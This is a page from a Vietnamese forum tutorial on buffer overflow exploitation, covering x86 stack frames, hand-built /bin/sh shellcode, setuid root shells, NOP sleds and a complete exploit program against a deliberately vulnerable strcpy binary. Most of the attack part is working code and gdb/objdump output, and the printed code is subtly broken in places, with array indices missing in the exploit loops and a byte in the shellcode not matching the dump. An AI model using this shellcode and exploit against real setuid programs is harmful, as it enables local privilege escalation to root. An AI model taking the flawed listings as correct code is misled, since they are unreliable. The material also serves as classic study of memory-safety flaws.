Diễn Đàn » Hướng Dẫn Lập trình

Hack và một số kỹ thuật hack

52 trả lời, 3.595 lượt xem — Trang 2 / 2
Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i:
movl $0x0,0xfffffffc(%ebp)
0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có địa chỉ cách 4 byte ngay dưới %ebp.

2.3 Gọi hàm
Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc.
Trước khi gọi hàm các tham số sẽ được đặt vào stack, theo thứ tự ngược lại, tham số cuối cùng sẽ được đặt vào trước. Trong ví dụ trên, trước tiên các giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip giữ giá trị địa chỉ của lệnh kế tiếp, trong trường hợp này là chỉ thị gọi hàm.
Khi thực hiện lệnh call, %eip sẽ lấy giá trị địa chỉ của kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của %eip để có thể tiếp tục thực thi sau khi trở về. Quá trình này được thực hiện bằng một lệnh ngầm (không tường minh) đặt %eip lên stack: push %eipGiá trị lưu trên stack này được gọi là "con trỏ lệnh bảo lưu" (SIP – save instruction pointer), hay "địa chỉ trả về" (RET – return address). Giá trị được truyền như một tham số cho lệnh call chính là địa chỉ của lệnh khởi đầu (prolog) đầu tiên của hàm toto(). Giá trị này sẽ được chép vào %eip và trở thành lệnh được thực thi tiếp theo.
Hình 2: Gọi hàm
Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j:

movl $0x0,0xc(%ebp)
0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2).
2.4 Kết thúc
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra.

Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh:

leave
ret
Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của hàm được gọi.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Chúng ta sẽ tiếp tục ví dụ trên với hàm toto().
Ở đây chúng ta mô tả lại đầy đủ hơn tình huống ban đầu, trước lệnh call và bước khởi đầu (prolog). Trước khi lệnh call xảy ra, %ebp ở địa chỉ X và %esp ở địa chỉ Y trên stack. Bắt đầu từ Y, chúng ta sẽ cấp phát các vùng nhớ dành cho tham số, giá trị bảo lưu của %eip và %ebp, và vùng nhớ dành cho các biến cục bộ của hàm. Lệnh sẽ được thực thi kế tiếp là leave, lệnh này tương đương với 2 lệnh sau: mov %ebp, %esppop %ebp
Lệnh đầu tiên sẽ đưa %esp và %ebp trỏ đến cùng vị trí hiện tại của %ebp. Lệnh thứ hai lấy ra giá trị trên đỉnh stack đặt vào thanh ghi %ebp. Ta thấy, sau lệnh leave, stack trở lại trạng thái như trước khi xảy ra bước khởi đầu (prolog).
Lệnh ret sẽ khôi phục giá trị %eip để nơi gọi hàm trở lại tiếp tục thực thi lệnh kế, là lệnh ngay sau hàm vừa thoát ra. Để làm điều này, giá trị ngay trên đỉnh stack sẽ được lấy ra đặt vào thanh ghi %eip. Chúng ta vẫn chưa trở lại được tình trạng ban đầu do các tham số truyền cho hàm vẫn còn chưa được dọn khỏi stack. Chúng sẽ được xoá đi trong lệnh kế tiếp ở địa chỉ Z+5 được lưu trong %eip.
Việc cấp phát và thu hồi vùng stack của các tham số hàm được thực hiện nơi gọi hàm. Điều này được minh hoạ trên hình bên với lệnh: add 0x8, %esp Lệnh này sẽ dời %esp từ đỉnh stack với số byte bằng số byte được cấp cho các tham số của hàm toto(). Thanh ghi %ebp và %esp lúc này giống với tình trạng trước khi lệnh gọi xảy ra. Tuy nhiên giá trị của thanh ghi %eip đã được chuyển đến lệnh kế tiếp.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Biên dịch và giải hợp ngữ chương trình minh hoạ trên với gdb để xem mã hợp ngữ tương ứng với các bước đã trình bày.
[SkZ0@gamma bof]$ gcc -g -o fct fct.c
[SkZ0@gamma bof]$ gdb fct -q
(gdb)disassemble main //hàm main
Dump of assembler code for function main:

0x80483e0 : push %ebp //bước khởi đầu - prolog
0x80483e1 : mov %esp,%ebp
0x80483e3 : sub $0x4,%esp

0x80483e6 : movl $0x1,0xfffffffc(%ebp)

0x80483ed : push $0x2 //gọi hàm - call
0x80483ef : push $0x1
0x80483f1 : call 0x80483b4


0x80483f6 : add $0x8,%esp //trở về từ hàm toto()

0x80483f9 : movl $0x0,0xfffffffc(%ebp)
0x8048400 : mov 0xfffffffc(%ebp),%eax

0x8048403 : push %eax //gọi hàm - call
0x8048404 : push $0x804846e
0x8048409 : call 0x8048308


0x804840e : add $0x8,%esp //trở về từ hàm printf()
0x8048411 : leave //trở về từ hàm main()
0x8048412 : ret

0x8048413 : nop
End of assembler dump.
(gdb) disassemble toto //hàm toto
Dump of assembler code for function toto:

0x80483b4 : push %ebp //bước khởi đầu - prolog
0x80483b5 : mov %esp,%ebp
0x80483b7 : sub $0xc,%esp

0x80483ba : mov 0x8048468,%eax
0x80483bf : mov %eax,0xfffffff8(%ebp)
0x80483c2 : mov 0x804846c,%al
0x80483c8 : mov %al,0xfffffffc(%ebp)
0x80483cb : movl $0x3,0xfffffff4(%ebp)
0x80483d2 : movl $0x0,0xc(%ebp)
0x80483d9 : jmp 0x80483dc
0x80483db : nop

0x80483dc : leave //trở về từ hàm toto()
0x80483dd : ret

0x80483de : mov %esi,%esi
End of assembler dump.
(gdb)
Chán đời đi lang thang !
Đăng nhập để trả lời
0
3. Shellcode
Khi tràn bộ đệm xảy ra, ta có thể thao tác trên stack, ghi đè giá trị trả về RET và khiến chương trình thực thi mã lệnh bất kỳ. Thông thường và đơn giản nhất là khiến chương trình thực thi một đoạn mã để chạy một giao tiếp dòng lệnh shell. Vì sẽ được chèn trực tiếp vào giữa bộ nhớ chương trình để thực thi tiếp nên đoạn mã này phải được viết ở dạng hợp ngữ. Những đoạn mã chương trình kiểu này thường được gọi là shellcode.
3.1 Viết shellcode trong ngôn ngữ C
Mục đích của shellcode là để thực thi một giao tiếp dòng lệnh shell. Trước tiên hãy viết ở ngôn ngữ C:
/* shellcode.c */
#include
#include

int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
_exit (0);
}
Trong số các hàm dạng exec() được dùng để gọi thực thi một chương trình khác, execve() là hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm exec() khác được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi định trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn.
Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi execve() không thành công, chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả ngoài ý muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư viện libc được hiện thực dựa trên hàm hệ thống _exit().
Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:
· chuỗi /bin/sh
· địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)
· địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)
3.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện động vào trong chương trình.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb.

[SkZ0@gamma bof]$ gdb shellcode -q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c : push %ebp
0x804818d : mov %esp,%ebp
0x804818f : sub $0x8,%esp
0x8048192 : movl $0x0,0xfffffff8(%ebp)
0x8048199 : movl $0x0,0xfffffffc(%ebp)
0x80481a0 : mov $0x806f388,%edx
0x80481a5 : mov %edx,0xfffffff8(%ebp)
0x80481a8 : push $0x0
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
0x80481ae : push %edx
0x80481af : call 0x804c6ec <__execve>
0x80481b4 : push $0x0
0x80481b6 : call 0x804c6d0 <_exit>
End of assembler dump.
(gdb)
Để ý lệnh sau:
0x80481a0 : mov $0x806f388,%edx
Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.
(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)
Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện thực hàm hệ thống execve() các tham số được đặt vào stack theo thứ tự:
· con trỏ NULL
0x80481a8 : push $0x0
· địa chỉ của mảng tham số


0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
· địa chỉ của chuỗi /bin/sh
0x80481ae : push %edx
Hãy xem các hàm execve() và _exit()

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>: push %ebp
0x804c6ed <__execve+1>: mov %esp,%ebp
0x804c6ef <__execve+3>: push %edi
0x804c6f0 <__execve+4>: push %ebx
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov $0x0,%eax
0x804c6f9 <__execve+13>: test %eax,%eax
0x804c6fb <__execve+15>: je 0x804c702 <__execve+22>
0x804c6fd <__execve+17>: call 0x0
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
0x804c708 <__execve+28>: push %ebx
0x804c709 <__execve+29>: mov %edi,%ebx
0x804c70b <__execve+31>: mov $0xb,%eax
0x804c710 <__execve+36>: int $0x80
0x804c712 <__execve+38>: pop %ebx
0x804c713 <__execve+39>: mov %eax,%ebx
0x804c715 <__execve+41>: cmp $0xfffff000,%ebx
0x804c71b <__execve+47>: jbe 0x804c72b <__execve+63>
0x804c71d <__execve+49>: call 0x80482b8 <__errno_location>
0x804c722 <__execve+54>: neg %ebx
0x804c724 <__execve+56>: mov %ebx,(%eax)
0x804c726 <__execve+58>: mov $0xffffffff,%ebx
0x804c72b <__execve+63>: mov %ebx,%eax
0x804c72d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>: pop %ebx
0x804c731 <__execve+69>: pop %edi
0x804c732 <__execve+70>: leave
0x804c733 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>: mov %ebx,%edx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>: mov $0x1,%eax
0x804c6db <_exit+11>: int $0x80
0x804c6dd <_exit+13>: mov %edx,%ebx
0x804c6df <_exit+15>: cmp $0xfffff001,%eax
0x804c6e4 <_exit+20>: jae 0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit
Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các địa chỉ 0x804c710 cho execve() và 0x804c6db cho _exit(). Các địa chỉ này thường không giống nhau đối với mỗi hàm hệ thống, đặc điểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() trong khi _exit() là 0x1.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau:
· trước khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:
o thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường:
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị này bằng một con trỏ NULL.
o thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL.
o thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường hợp này là "/bin/sh"
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
...
0x804c709 <__execve+29>: mov %edi,%ebx
·

· hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là shell) được lưu trong thanh ghi %ebx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến môi trường). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi execve().
3.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết được trở ngại đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách định vị shellcode dùng stack.
Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm execve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định địa chỉ thông qua giá trị thanh ghi %esp. Mã hợp ngữ sẽ có dạng sau:
beginning_of_shellcode:
pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
pushl "/bin/sh" // chuỗi /bin/sh
movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
push NULL // con trỏ NULL của mảng tham số
...
(mã hợp ngữ của shellcode)
3.4 Vấn đề byte giá trị null
Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ lệnh:
push $0x00
Sẽ được thay thế tương đương bằng:
xorl %eax, %eax
push %eax
Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():
0x804c6d6 <_exit+6>: mov $0x1,%eax
Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00 mov $0x1,%eax
Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax)
31 c0 xor %eax,%eax
40 inc %eax
3.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode:
/* shellcode_asm.c */
int main()
{
asm("
/* push giá trị null kết thúc /bin/sh vào stack */
xorl %eax,%eax
pushl %eax
/* push chuỗi /bin/sh vào stack */
pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
pushl $0x6e69622f /* chuỗi /bin */
/* %ebx chứa địa chỉ chuỗi /bin/sh */
movl %esp, %ebx
/* push con trỏ NULL, phần tử thứ hai của mảng tham số */
pushl %eax
/* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */
pushl %ebx
/* %ecx chứa địa chỉ mảng tham số */
movl %esp,%ecx
/* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL */
/* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
movl %eax, %edx
/* Hàm execve(): %eax = 0xb */
movb $0xb,%al
/* Gọi hàm */
int $0x80

/* Giá trị trả về 0 cho hàm _exit() */
xorl %ebx,%ebx
/* Hàm _exit(): %eax = 0x1 */
movl %ebx,%eax
inc %eax
/* Gọi hàm */
int $0x80
");
}
Dịch shellcode trên và dump ở dạng hợp ngữ:
[SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c
[SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 :
8048380: 55 pushl %ebp
8048381: 89 e5 movl %esp,%ebp
8048383: 31 c0 xorl %eax,%eax
8048385: 50 pushl %eax
8048386: 68 2f 2f 73 68 pushl $0x68732f2f
804838b: 68 2f 62 69 6e pushl $0x6e69622f
8048390: 89 e3 movl %esp,%ebx
8048392: 50 pushl %eax
8048393: 53 pushl %ebx
8048394: 89 e1 movl %esp,%ecx
8048396: 89 c2 movl %eax,%edx
8048398: b0 0b movb $0xb,%al
804839a: cd 80 int $0x80
804839c: 31 db xorl %ebx,%ebx
804839e: 31 c0 xorl %eax,%eax
80483a0: 40 incl %eax
80483a1: cd 80 int $0x80

Hãy chạy thử shellcode trên:
/* testsc.c */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

int main()
{
int * ret;

/* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */
/* khoảng cách so với biến ret là 8 byte (2 word): */
/* - 4 byte cho biến ret */
/* - 4 byte cho giá trị bảo lưu %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Chạy thử chương trình testsc:
[SkZ0@gamma bof]$ gcc testsc.c -o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$
Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn mã hợp ngữ của các hàm này vào trước đoạn shellcode trên.
Có thể thấy ở ví dụ chạy thử shellcode ý tưởng cơ bản để khai thác lỗi tràn bộ đệm, chi tiết sẽ được trình bày trong phần tiếp theo.

Chán đời đi lang thang !
Đăng nhập để trả lời
0
Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm
Mục lục
· 1. Quyền root và chương trình setuid/setgid
· 2. Chương trình bị tràn bộ đệm
· 3. Tổ chức shellcode trên bộ nhớ
· 4. Xác định địa chỉ shellcode
· 5. Viết chương trình khai thác lỗi tràn bộ đệm
o 5.1. Truyền shellcode qua bộ đệm
o 5.2. Truyền shellcode qua biến môi trường
· 6. Kết luận
· Tài liệu tham khảo
· Liên kết

1. Quyền root và chương trình setuid/setgid
Trên các hệ điều hành đa người dùng nói chung và UNIX nói riêng, thiết kế truyền thống cho phép user root (superuser) có quyền tối cao có thể thực hiện mọi thao tác trên hệ thống. Hơn nữa, có một số thao tác đòi hỏi buộc phải có quyền root mới có thể thực hiện được, ví dụ thay đổi mật khẩu (phải cập nhật file /etc/passwd). Để người dùng bình thường có thể thực hiện được các thao tác này, hệ thống UNIX cung cấp một cơ chế thiết lập quyền thực tế của tiến trình đang thực thi thông qua các hàm thiết lập quyền như setuid()/setgid(), seteuid()/setegid(), setruid()/setrgid(). Quyền thực tế sẽ được hệ thống tự động thiết lập thông qua bit thuộc tính suid/sgid của file chương trình. Ví dụ chương trình passwd được suid root:
-r-s--x--x 1 root root 12244 Feb 8 2000 /usr/bin/passwd
Khi user bình thường thực thi chương trình, quyền thực tế có được sẽ là quyền của người sở hữu (owner) file, ở đây là root. Do yêu cầu sử dụng, trên hệ thống UNIX thường có nhiều file chương trình được thiết lập thuộc tính suid (cho owner, group). Ví dụ sau sẽ minh hoạ rõ hơn điều này:
/* suidsh.c */
void main() {
setuid(0);
system("/bin/sh");
}

[SkZ0@gamma bof]$ gcc -o suidsh suidsh.c
[SkZ0@gamma bof]$ su
Password:
# chown root.root suidsh
# chmod 4755 suidsh
# exit
[SkZ0@gamma bof]$ ls -l suidsh
-rwsr-xr-x 1 root root 13637 Mar 26 15:54 suidsh
[SkZ0@gamma bof]$ id
uid=501(SkZ0) gid=501(SkZ0) groups=501(SkZ0)
[SkZ0@gamma bof]$ ./suidsh
bash# id
uid=0(root) gid=501(SkZ0) groups=501(SkZ0)
Có thể thấy, nếu chương trình suid/sgid bị lỗi bảo mật, hacker sẽ tận dụng điều này để điều khiển chương trình thực hiện mã lệnh bất kỳ trên hệ thống với quyền cao hơn và thậm chí với quyền cao nhất root. Đó chính là mục đích của việc khai thác các lỗ hổng bảo mật trên máy tại chỗ (local).
Chán đời đi lang thang !
Đăng nhập để trả lời
0
2. Chương trình bị tràn bộ đệm
Để minh hoạ cách tổ chức và chèn shellcode vào chương trình bị lỗi, ta sẽ sửa lại một chút chương trình vuln.c đã ví dụ ở phần 1:
/* vuln1.c */
int main(int argc, char **argv)
{
char buf[500];
if (argc>1) {
strcpy(buf, argv[1]);
printf("%s\n", buf);
}
}
Kích thước của bộ đệm buf là 500 byte. Từ những trình bày ở phần trước, để khai thác lỗi tràn bộ đệm trong chương trình vuln1.c chúng ta chỉ cần ghi đè giá trị của "con trỏ lệnh bảo lưu" (saved instruction pointer) được lưu trên stack bằng địa chỉ mã lệnh mong muốn, ở đây chính là địa chỉ bắt đầu của shellcode. Như vậy chúng ta cần phải sắp xếp shellcode ở đâu đó trên bộ nhớ stack và xác định địa chỉ bắt đầu của nó.

3. Tổ chức shellcode trên bộ nhớ
Vấn đề của việc tổ chức shellcode trên bộ nhớ là làm thế nào để chương trình khai thác lỗi có thể xác định được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Thông thường, ta không thể biết một cách chính xác địa chỉ của bộ đệm trong chương trình bị lỗi (phụ thuộc vào biến môi trường, tham số khi thực thi), do đó ta sẽ xác định một cách gần đúng. Điều này có nghĩa chúng ta phải tổ chức bộ đệm chứa shellcode sao cho khi bắt đầu ở một địa chỉ có thể lệch so với địa chỉ chính xác mà shellcode vẫn thực thi không hề bị ảnh hưởng. Lệnh máy NOP (No OPeration) giúp ta đạt được điều này. Khi gặp một lệnh NOP, CPU sẽ không làm gì cả ngoài việc tăng con trỏ lệnh đến lệnh kế tiếp.
Như vậy, chúng ta sẽ lấp đầy phần đầu của bộ đệm bằng các lệnh NOP, kế đó là shellcode. Hơn nữa, để không phải tính toán chính xác vị trí lưu con trỏ lệnh bảo lưu trên stack, chúng ta sẽ chỉ đặt shellcode ở khoảng giữa của bộ đệm, phần còn lại sẽ chứa toàn các giá trị địa chỉ bắt đầu của shellcode. Cuối cùng, bộ đệm chứa shellcode sẽ có dạng:

Hình 1: Tổ chức shellcode trên bộ nhớ
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Hình sau mô tả trạng thái của stack trước và sau khi tràn bộ đệm xảy ra.

Before After
Hình 2: Trạng thái stack trước và sau khi tràn bộ đệm
Có một vấn đề cũng cấn lưu ý ở đây là sự sắp xếp (alignment) biến trên stack. Giá trị địa chỉ có độ dài 4 byte (32 bit), vì vậy khi được sắp vào stack không phải lúc nào cũng chính xác như mong muốn. Ở phần trước chúng ta đã biết stack sử dụng đơn vị là word có độ dài 4 byte, do đó độ lệch do sắp không đúng sẽ là 1, 2 hoặc 3 byte.

Hình 3: Các khả năng sắp xếp biến trên stack
Chỉ có một trường hợp sắp xếp đúng sẽ làm việc, các trường hợp khác sẽ dẫn đến báo lỗi "segmentation violation" hoặc "illegal instruction", tuy nhiên chúng ta có thể sử dụng phương pháp "thử và sai" để tìm được sự sắp xếp đúng trong bộ nhớ không mấy khó khăn.

Chán đời đi lang thang !
Đăng nhập để trả lời
0
4. Xác định địa chỉ shellcode
Vấn đề quan trọng nhất là làm thế nào để "đoán trước" được địa chỉ bắt đầu của bộ đệm chứa shellcode bên trong chương trình bị lỗi. Nhờ cách tổ chức shellcode với các NOP ở trên, địa chỉ này chỉ cần gần đúng sao cho rơi vào khoảng giữa các lệnh NOP trên bộ đệm shellcode.
Một điểm đặc biệt là mọi chương trình khi thực thi đều có địa chỉ bắt đầu stack như nhau (lưu ý: trên không gian địa chỉ ảo. Ví dụ: giá trị này trên Linux là 0xbfffffff, trên FreeBSD là 0xbfbfffff) và thường các chương trình ít khi push vào stack ngay một lúc vài ngàn byte. Do đó, ta có thể đoán được địa chỉ bắt đầu của bộ đệm chứa shellcode trên stack trong chương trình bị lỗi dựa vào độ lệch so với địa chỉ đỉnh stack hiện tại của chương trình khai thác lỗi. Độ lệch này có thể mang giá trị âm hoặc giá trị dương (xem lại phần 1).
Đoạn chương trình sau sẽ in ra giá trị của con trỏ stack SP:
/* sp.c */
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main() {
printf("0x%x\n", get_sp());
}

[SkZ0@gamma bof]$ gcc -o sp sp.c
[SkZ0@gamma bof]$ ./sp
0xbffffa50
[SkZ0@gamma bof]$
Địa chỉ gần đúng của bộ đệm chứa shellcode sẽ được xác định theo công thức:
SP +(-) OFFSET

Chán đời đi lang thang !
Đăng nhập để trả lời
0
5. Viết chương trình khai thác lỗi tràn bộ đệm
Chúng ta đã biết những gì cần thiết để khai thác lỗi tràn bộ đệm, bây giờ cần phải kết hợp lại. Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn (như ở phần trên), xác định địa chỉ trả về (RET) và độ lệch do sắp biến, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm.
Có một số cách để tổ chức shellcode trên bộ nhớ và truyền cho chương trình bị lỗi, trước tiên chúng ta sẽ xem xét phương pháp cơ bản nhất: shellcode được truyền thông qua bộ đệm của chương trình bị lỗi. Phương pháp này không phải là cách dễ dàng nhất để khai thác lỗi tràn bộ đệm trên máy tại chỗ (local) nhưng đây là cách tổng quát nhất để khai thác lỗi tràn bộ đệm tại chỗ cũng như từ xa.

Xem trong ví dụ trên, shellcode sẽ được tổ chức và truyền qua bộ đệm buf của chương trình vuln1.c
5.1. Truyền shellcode qua bộ đệm
Chương trình khai thác lỗi tràn bộ đệm sau của chúng ta sẽ nhận 3 giá trị tham số: tên chương trình bị lỗi, kích thước bộ đệm dùng để làm tràn và giá trị độ dời so với con trỏ stack hiện tại (ví trị dự đoán của bộ đệm chứa shellcode).
/* exploit1.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc < 2) {
printf("Usage: %s target [bsize offset]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
/* lấp đầy bộ đệm làm tràn với các địa chỉ của shellcode */
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* lấp đầy nửa đầu vói các lệnh NOP */
for (i = 0; i < bsize/2; i++)
buff = NOP;

/* tiếp theo là shellcode */
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;

buff[bsize - 1] = '\0';

execl(argv[1],argv[1],buff,NULL);
}

Chương trình trên cấp phát bộ đệm dùng để làm tràn trên heap, lý do tại sao xin dành cho người đọc tự trả lời.
Kích thước của bộ đệm dùng làm tràn lớn hơn so với bộ đệm bị tràn khoảng 100 byte là tốt nhất. Khi đó bộ đệm làm tràn có phần đầu khá lớn chứa các NOP, phần cuối chứa shellcode và địa chỉ đủ để làm tràn và ghi đè lên giá trị địa chỉ trả về (RET).
Hãy thử chương trình khai thác lỗi vừa viết.
